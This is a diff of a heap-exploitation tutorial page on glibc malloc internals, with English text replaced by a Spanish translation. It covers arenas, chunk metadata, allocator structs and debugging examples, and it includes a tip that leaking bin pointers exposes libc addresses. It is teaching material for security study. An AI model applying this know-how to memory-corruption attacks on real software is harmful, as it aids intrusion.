### Basic Chunk Allocation -When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is. +Cuando se solicita almacenar algunos datos en el heap, se asigna un espacio del heap para ello. Este espacio pertenecerá a un bin y solo se reservarán los datos solicitados + el espacio de los encabezados del bin + el desplazamiento del tamaño mínimo del bin para el chunk. El objetivo es reservar la menor cantidad de memoria posible sin complicar la búsqueda de dónde se encuentra cada chunk. Para esto, se utiliza la información del chunk de metadatos para saber dónde se encuentra cada chunk usado/libre. -There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following: +Existen diferentes formas de reservar el espacio, principalmente dependiendo del bin utilizado, pero una metodología general es la siguiente: -- The program starts by requesting certain amount of memory. -- If in the list of chunks there someone available big enough to fulfil the request, it'll be used - - This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list -- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk -- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk -- If everything fails, `malloc` returns null. +- El programa comienza solicitando cierta cantidad de memoria. +- Si en la lista de chunks hay uno disponible lo suficientemente grande para cumplir con la solicitud, se utilizará. +- Esto puede incluso significar que parte del chunk disponible se utilizará para esta solicitud y el resto se añadirá a la lista de chunks. +- Si no hay ningún chunk disponible en la lista pero aún hay espacio en la memoria del heap asignada, el administrador del heap crea un nuevo chunk. +- Si no hay suficiente espacio en el heap para asignar el nuevo chunk, el administrador del heap solicita al kernel que expanda la memoria asignada al heap y luego utiliza esta memoria para generar el nuevo chunk. +- Si todo falla, `malloc` devuelve null. -Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory. +Ten en cuenta que si la **memoria solicitada supera un umbral**, se utilizará **`mmap`** para mapear la memoria solicitada. ## Arenas -In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck. +En aplicaciones **multihilo**, el administrador del heap debe prevenir **condiciones de carrera** que podrían llevar a fallos. Inicialmente, esto se hacía utilizando un **mutex global** para asegurar que solo un hilo pudiera acceder al heap a la vez, pero esto causaba **problemas de rendimiento** debido al cuello de botella inducido por el mutex. -To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas. +Para abordar esto, el asignador de heap ptmalloc2 introdujo "arenas", donde **cada arena** actúa como un **heap separado** con sus **propias** estructuras de **datos** y **mutex**, permitiendo que múltiples hilos realicen operaciones en el heap sin interferir entre sí, siempre que utilicen diferentes arenas. -The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention. +La arena "principal" por defecto maneja operaciones de heap para aplicaciones de un solo hilo. Cuando se añaden **nuevos hilos**, el administrador del heap les asigna **arenas secundarias** para reducir la contención. Primero intenta adjuntar cada nuevo hilo a una arena no utilizada, creando nuevas si es necesario, hasta un límite de 2 veces el número de núcleos de CPU para sistemas de 32 bits y 8 veces para sistemas de 64 bits. Una vez alcanzado el límite, **los hilos deben compartir arenas**, lo que lleva a una posible contención. -Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations. +A diferencia de la arena principal, que se expande utilizando la llamada al sistema `brk`, las arenas secundarias crean "subheaps" utilizando `mmap` y `mprotect` para simular el comportamiento del heap, permitiendo flexibilidad en la gestión de memoria para operaciones multihilo. ### Subheaps -Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate: +Los subheaps sirven como reservas de memoria para arenas secundarias en aplicaciones multihilo, permitiéndoles crecer y gestionar sus propias regiones de heap por separado del heap principal. Aquí se explica cómo los subheaps difieren del heap inicial y cómo operan: -1. **Initial Heap vs. Subheaps**: - - The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call. - - Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region. -2. **Memory Reservation with `mmap`**: - - When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use. - - By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes. -3. **Gradual Expansion with `mprotect`**: - - The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet. - - To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed. - - Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation. +1. **Heap Inicial vs. Subheaps**: +- El heap inicial se encuentra directamente después del binario del programa en memoria, y se expande utilizando la llamada al sistema `sbrk`. +- Los subheaps, utilizados por arenas secundarias, se crean a través de `mmap`, una llamada al sistema que mapea una región de memoria especificada. +2. **Reserva de Memoria con `mmap`**: +- Cuando el administrador del heap crea un subheap, reserva un gran bloque de memoria a través de `mmap`. Esta reserva no asigna memoria de inmediato; simplemente designa una región que otros procesos del sistema o asignaciones no deberían usar. +- Por defecto, el tamaño reservado para un subheap es de 1 MB para procesos de 32 bits y 64 MB para procesos de 64 bits. +3. **Expansión Gradual con `mprotect`**: +- La región de memoria reservada se marca inicialmente como `PROT_NONE`, indicando que el kernel no necesita asignar memoria física a este espacio aún. +- Para "hacer crecer" el subheap, el administrador del heap utiliza `mprotect` para cambiar los permisos de página de `PROT_NONE` a `PROT_READ | PROT_WRITE`, lo que lleva al kernel a asignar memoria física a las direcciones previamente reservadas. Este enfoque paso a paso permite que el subheap se expanda según sea necesario. +- Una vez que se agota todo el subheap, el administrador del heap crea un nuevo subheap para continuar la asignación. ### heap_info -This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info. - +Esta estructura asigna información relevante del heap. Además, la memoria del heap puede no ser continua después de más asignaciones, esta estructura también almacenará esa información. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 typedef struct _heap_info { - mstate ar_ptr; /* Arena for this heap. */ - struct _heap_info *prev; /* Previous heap. */ - size_t size; /* Current size in bytes. */ - size_t mprotect_size; /* Size in bytes that has been mprotected - PROT_READ|PROT_WRITE. */ - size_t pagesize; /* Page size used when allocating the arena. */ - /* Make sure the following data is properly aligned, particularly - that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of - MALLOC_ALIGNMENT. */ - char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; +mstate ar_ptr; /* Arena for this heap. */ +struct _heap_info *prev; /* Previous heap. */ +size_t size; /* Current size in bytes. */ +size_t mprotect_size; /* Size in bytes that has been mprotected +PROT_READ|PROT_WRITE. */ +size_t pagesize; /* Page size used when allocating the arena. */ +/* Make sure the following data is properly aligned, particularly +that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of +MALLOC_ALIGNMENT. */ +char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; } heap_info; ``` - ### malloc_state -**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\ -It’s important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\ -In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**. +**Cada heap** (arena principal u otras arenas de hilos) tiene una **estructura `malloc_state`.**\ +Es importante notar que la **estructura `malloc_state` de la arena principal** es una **variable global en la libc** (por lo tanto, ubicada en el espacio de memoria de la libc).\ +En el caso de las **estructuras `malloc_state`** de los heaps de hilos, están ubicadas **dentro del "heap" propio del hilo**. -There some interesting things to note from this structure (see C code below): +Hay algunas cosas interesantes a notar de esta estructura (ver el código C a continuación): -- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time +- `__libc_lock_define (, mutex);` Está ahí para asegurar que esta estructura del heap sea accedida por 1 hilo a la vez. - Flags: - - ```c - #define NONCONTIGUOUS_BIT (2U) +- ```c +#define NONCONTIGUOUS_BIT (2U) - #define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) - #define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) - #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) - #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) - ``` - -- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used) - - Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**. -- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas -- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space. -- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here. +#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) +#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) +#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) +#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) +``` +- El `mchunkptr bins[NBINS * 2 - 2];` contiene **punteros** a los **primeros y últimos chunks** de los **bins** pequeños, grandes y no ordenados (el -2 es porque el índice 0 no se usa). +- Por lo tanto, el **primer chunk** de estos bins tendrá un **puntero hacia atrás a esta estructura** y el **último chunk** de estos bins tendrá un **puntero hacia adelante** a esta estructura. Lo que básicamente significa que si puedes **filtrar estas direcciones en la arena principal** tendrás un puntero a la estructura en la **libc**. +- Las estructuras `struct malloc_state *next;` y `struct malloc_state *next_free;` son listas enlazadas de arenas. +- El chunk `top` es el último "chunk", que es básicamente **todo el espacio restante del heap**. Una vez que el chunk superior está "vacío", el heap está completamente utilizado y necesita solicitar más espacio. +- El chunk de `último recordatorio` proviene de casos donde un chunk de tamaño exacto no está disponible y, por lo tanto, un chunk más grande se divide, un puntero a la parte restante se coloca aquí. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 struct malloc_state { - /* Serialize access. */ - __libc_lock_define (, mutex); +/* Serialize access. */ +__libc_lock_define (, mutex); - /* Flags (formerly in max_fast). */ - int flags; +/* Flags (formerly in max_fast). */ +int flags; - /* Set if the fastbin chunks contain recently inserted free blocks. */ - /* Note this is a bool but not all targets support atomics on booleans. */ - int have_fastchunks; +/* Set if the fastbin chunks contain recently inserted free blocks. */ +/* Note this is a bool but not all targets support atomics on booleans. */ +int have_fastchunks; - /* Fastbins */ - mfastbinptr fastbinsY[NFASTBINS]; +/* Fastbins */ +mfastbinptr fastbinsY[NFASTBINS]; - /* Base of the topmost chunk -- not otherwise kept in a bin */ - mchunkptr top; +/* Base of the topmost chunk -- not otherwise kept in a bin */ +mchunkptr top; - /* The remainder from the most recent split of a small request */ - mchunkptr last_remainder; +/* The remainder from the most recent split of a small request */ +mchunkptr last_remainder; - /* Normal bins packed as described above */ - mchunkptr bins[NBINS * 2 - 2]; +/* Normal bins packed as described above */ +mchunkptr bins[NBINS * 2 - 2]; - /* Bitmap of bins */ - unsigned int binmap[BINMAPSIZE]; +/* Bitmap of bins */ +unsigned int binmap[BINMAPSIZE]; - /* Linked list */ - struct malloc_state *next; +/* Linked list */ +struct malloc_state *next; - /* Linked list for free arenas. Access to this field is serialized - by free_list_lock in arena.c. */ - struct malloc_state *next_free; +/* Linked list for free arenas. Access to this field is serialized +by free_list_lock in arena.c. */ +struct malloc_state *next_free; - /* Number of threads attached to this arena. 0 if the arena is on - the free list. Access to this field is serialized by - free_list_lock in arena.c. */ - INTERNAL_SIZE_T attached_threads; +/* Number of threads attached to this arena. 0 if the arena is on +the free list. Access to this field is serialized by +free_list_lock in arena.c. */ +INTERNAL_SIZE_T attached_threads; - /* Memory allocated from the system in this arena. */ - INTERNAL_SIZE_T system_mem; - INTERNAL_SIZE_T max_system_mem; +/* Memory allocated from the system in this arena. */ +INTERNAL_SIZE_T system_mem; +INTERNAL_SIZE_T max_system_mem; }; ``` - ### malloc_chunk -This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks. - +Esta estructura representa un fragmento particular de memoria. Los diversos campos tienen diferentes significados para fragmentos asignados y no asignados. ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c struct malloc_chunk { - INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ - INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ - struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk; - /* Only used for large blocks: pointer to next larger size. */ - struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk_nextsize; +INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ +INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ +struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk; +/* Only used for large blocks: pointer to next larger size. */ +struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk_nextsize; }; typedef struct malloc_chunk* mchunkptr; ``` - -As commented previously, these chunks also have some metadata, very good represented in this image: +Como se comentó anteriormente, estos bloques también tienen algunos metadatos, muy bien representados en esta imagen:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate: +Los metadatos suelen ser 0x08B, indicando el tamaño actual del bloque utilizando los últimos 3 bits para indicar: -- `A`: If 1 it comes from a subheap, if 0 it's in the main arena -- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap -- `P`: If 1, the previous chunk is in use +- `A`: Si es 1 proviene de un subheap, si es 0 está en la arena principal +- `M`: Si es 1, este bloque es parte de un espacio asignado con mmap y no forma parte de un heap +- `P`: Si es 1, el bloque anterior está en uso -Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated). +Luego, el espacio para los datos del usuario, y finalmente 0x08B para indicar el tamaño del bloque anterior cuando el bloque está disponible (o para almacenar datos del usuario cuando está asignado). -Moreover, when available, the user data is used to contain also some data: +Además, cuando está disponible, los datos del usuario también se utilizan para contener algunos datos: -- **`fd`**: Pointer to the next chunk -- **`bk`**: Pointer to the previous chunk -- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself -- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself +- **`fd`**: Puntero al siguiente bloque +- **`bk`**: Puntero al bloque anterior +- **`fd_nextsize`**: Puntero al primer bloque en la lista que es más pequeño que él mismo +- **`bk_nextsize`:** Puntero al primer bloque en la lista que es más grande que él mismo

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

> [!NOTE] -> Note how liking the list this way prevents the need to having an array where every single chunk is being registered. +> Nota cómo enlazar la lista de esta manera evita la necesidad de tener un array donde se registre cada bloque individualmente. -### Chunk Pointers - -When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\ -For these conversions these functions are used: +### Punteros de Bloque +Cuando se utiliza malloc, se devuelve un puntero al contenido que se puede escribir (justo después de los encabezados), sin embargo, al gestionar bloques, se necesita un puntero al principio de los encabezados (metadatos).\ +Para estas conversiones se utilizan estas funciones: ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -207,13 +200,11 @@ For these conversions these functions are used: /* The smallest size we can malloc is an aligned minimal chunk */ #define MINSIZE \ - (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) +(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) ``` +### Alineación y tamaño mínimo -### Alignment & min size - -The pointer to the chunk and `0x0f` must be 0. - +El puntero al chunk y `0x0f` deben ser 0. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61 #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) @@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0. #define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0) #define misaligned_chunk(p) \ - ((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ - & MALLOC_ALIGN_MASK) +((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ +& MALLOC_ALIGN_MASK) /* pad request bytes into a usable size -- internal version */ /* Note: This must be a macro that evaluates to a compile time constant - if passed a literal constant. */ +if passed a literal constant. */ #define request2size(req) \ - (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ - MINSIZE : \ - ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) +(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ +MINSIZE : \ +((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) /* Check if REQ overflows when padded and aligned and if the resulting - value is less than PTRDIFF_T. Returns the requested size or - MINSIZE in case the value is less than MINSIZE, or 0 if any of the - previous checks fail. */ +value is less than PTRDIFF_T. Returns the requested size or +MINSIZE in case the value is less than MINSIZE, or 0 if any of the +previous checks fail. */ static inline size_t checked_request2size (size_t req) __nonnull (1) { - if (__glibc_unlikely (req > PTRDIFF_MAX)) - return 0; +if (__glibc_unlikely (req > PTRDIFF_MAX)) +return 0; - /* When using tagged memory, we cannot share the end of the user - block with the header for the next chunk, so ensure that we - allocate blocks that are rounded up to the granule size. Take - care not to overflow from close to MAX_SIZE_T to a small - number. Ideally, this would be part of request2size(), but that - must be a macro that produces a compile time constant if passed - a constant literal. */ - if (__glibc_unlikely (mtag_enabled)) - { - /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ - asm (""); +/* When using tagged memory, we cannot share the end of the user +block with the header for the next chunk, so ensure that we +allocate blocks that are rounded up to the granule size. Take +care not to overflow from close to MAX_SIZE_T to a small +number. Ideally, this would be part of request2size(), but that +must be a macro that produces a compile time constant if passed +a constant literal. */ +if (__glibc_unlikely (mtag_enabled)) +{ +/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ +asm (""); - req = (req + (__MTAG_GRANULE_SIZE - 1)) & - ~(size_t)(__MTAG_GRANULE_SIZE - 1); - } +req = (req + (__MTAG_GRANULE_SIZE - 1)) & +~(size_t)(__MTAG_GRANULE_SIZE - 1); +} - return request2size (req); +return request2size (req); } ``` +Tenga en cuenta que para calcular el espacio total necesario, solo se agrega `SIZE_SZ` 1 vez porque el campo `prev_size` se puede usar para almacenar datos, por lo tanto, solo se necesita el encabezado inicial. -Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed. +### Obtener datos del Chunk y alterar metadatos -### Get Chunk data and alter metadata - -These functions work by receiving a pointer to a chunk and are useful to check/set metadata: - -- Check chunk flags +Estas funciones funcionan recibiendo un puntero a un chunk y son útiles para verificar/establecer metadatos: +- Verificar las banderas del chunk ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained - from a non-main arena. This is only set immediately before handing - the chunk to the user, if necessary. */ +from a non-main arena. This is only set immediately before handing +the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4 /* Check for chunk from main arena. */ @@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Mark a chunk as not being on the main arena. */ #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA) ``` - -- Sizes and pointers to other chunks - +- Tamaños y punteros a otros trozos ```c /* - Bits to mask off when extracting size +Bits to mask off when extracting size - Note: IS_MMAPPED is intentionally not masked off from size field in - macros for which mmapped chunks should never be seen. This should - cause helpful core dumps to occur if it is tried by accident by - people extending or adapting this malloc. - */ +Note: IS_MMAPPED is intentionally not masked off from size field in +macros for which mmapped chunks should never be seen. This should +cause helpful core dumps to occur if it is tried by accident by +people extending or adapting this malloc. +*/ #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) /* Get size, ignoring use bits */ @@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) ``` - - Insue bit - ```c /* extract p's inuse bit */ #define inuse(p) \ - ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) +((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) /* set/clear chunk as being inuse without otherwise disturbing */ #define set_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE #define clear_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) /* check/set/clear inuse bits in known places */ #define inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) #define set_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) #define clear_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` - -- Set head and footer (when chunk nos in use - +- Establecer encabezado y pie de página (cuando se utilizan números de fragmento) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) ``` - -- Get the size of the real usable data inside the chunk - +- Obtén el tamaño de los datos utilizables reales dentro del chunk ```c #pragma GCC poison mchunk_size #pragma GCC poison mchunk_prev_size /* This is the size of the real usable data in the chunk. Not valid for - dumped heap chunks. */ +dumped heap chunks. */ #define memsize(p) \ - (__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ - chunksize (p) - CHUNK_HDR_SZ : \ - chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) +(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ +chunksize (p) - CHUNK_HDR_SZ : \ +chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) /* If memory tagging is enabled the layout changes to accommodate the granule - size, this is wasteful for small allocations so not done by default. - Both the chunk header and user data has to be granule aligned. */ +size, this is wasteful for small allocations so not done by default. +Both the chunk header and user data has to be granule aligned. */ _Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ, - "memory tagging is not supported with large granule."); +"memory tagging is not supported with large granule."); static __always_inline void * tag_new_usable (void *ptr) { - if (__glibc_unlikely (mtag_enabled) && ptr) - { - mchunkptr cp = mem2chunk(ptr); - ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); - } - return ptr; +if (__glibc_unlikely (mtag_enabled) && ptr) +{ +mchunkptr cp = mem2chunk(ptr); +ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); +} +return ptr; } ``` +## Ejemplos -## Examples - -### Quick Heap Example - -Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64: +### Ejemplo Rápido de Heap +Ejemplo rápido de heap de [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) pero en arm64: ```c #include #include @@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http void main(void) { - char *ptr; - ptr = malloc(0x10); - strcpy(ptr, "panda"); +char *ptr; +ptr = malloc(0x10); +strcpy(ptr, "panda"); } ``` - -Set a breakpoint at the end of the main function and lets find out where the information was stored: +Establezca un punto de interrupción al final de la función principal y descubramos dónde se almacenó la información:
-It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`. - -The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number. +Es posible ver que la cadena panda se almacenó en `0xaaaaaaac12a0` (que fue la dirección dada como respuesta por malloc dentro de `x0`). Al verificar 0x10 bytes antes, es posible ver que el `0x0` representa que el **chunk anterior no está utilizado** (longitud 0) y que la longitud de este chunk es `0x21`. +Los espacios adicionales reservados (0x21-0x10=0x11) provienen de los **encabezados añadidos** (0x10) y 0x1 no significa que se reservó 0x21B, sino que los últimos 3 bits de la longitud del encabezado actual tienen algunos significados especiales. Dado que la longitud siempre está alineada a 16 bytes (en máquinas de 64 bits), estos bits en realidad nunca se utilizarán por el número de longitud. ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena ``` - -### Multithreading Example +### Ejemplo de Multihilo
-Multithread - +Multihilo ```c #include #include @@ -460,56 +435,55 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1 void* threadFuncMalloc(void* arg) { - printf("Hello from thread 1\n"); - char* addr = (char*) malloc(1000); - printf("After malloc and before free in thread 1\n"); - free(addr); - printf("After free in thread 1\n"); +printf("Hello from thread 1\n"); +char* addr = (char*) malloc(1000); +printf("After malloc and before free in thread 1\n"); +free(addr); +printf("After free in thread 1\n"); } void* threadFuncNoMalloc(void* arg) { - printf("Hello from thread 2\n"); +printf("Hello from thread 2\n"); } int main() { - pthread_t t1; - void* s; - int ret; - char* addr; +pthread_t t1; +void* s; +int ret; +char* addr; - printf("Before creating thread 1\n"); - getchar(); - ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); - getchar(); +printf("Before creating thread 1\n"); +getchar(); +ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); +getchar(); - printf("Before creating thread 2\n"); - ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); +printf("Before creating thread 2\n"); +ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); - printf("Before exit\n"); - getchar(); +printf("Before exit\n"); +getchar(); - return 0; +return 0; } ``` -
-Debugging the previous example it's possible to see how at the beginning there is only 1 arena: +Depurando el ejemplo anterior, es posible ver cómo al principio solo hay 1 arena:
-Then, after calling the first thread, the one that calls malloc, a new arena is created: +Luego, después de llamar al primer hilo, el que llama a malloc, se crea una nueva arena:
-and inside of it some chunks can be found: +y dentro de ella se pueden encontrar algunos chunks:
## Bins & Memory Allocations/Frees -Check what are the bins and how are they organized and how memory is allocated and freed in: +Ver cuáles son los bins y cómo están organizados y cómo se asigna y libera memoria en: {{#ref}} bins-and-memory-allocations.md @@ -517,7 +491,7 @@ bins-and-memory-allocations.md ## Heap Functions Security Checks -Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted: +Las funciones involucradas en el heap realizarán ciertas verificaciones antes de llevar a cabo sus acciones para intentar asegurarse de que el heap no esté corrupto: {{#ref}} heap-memory-functions/heap-functions-security-checks.md diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md index eb184fc93..0a265e968 100644 --- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md +++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md @@ -2,60 +2,55 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: 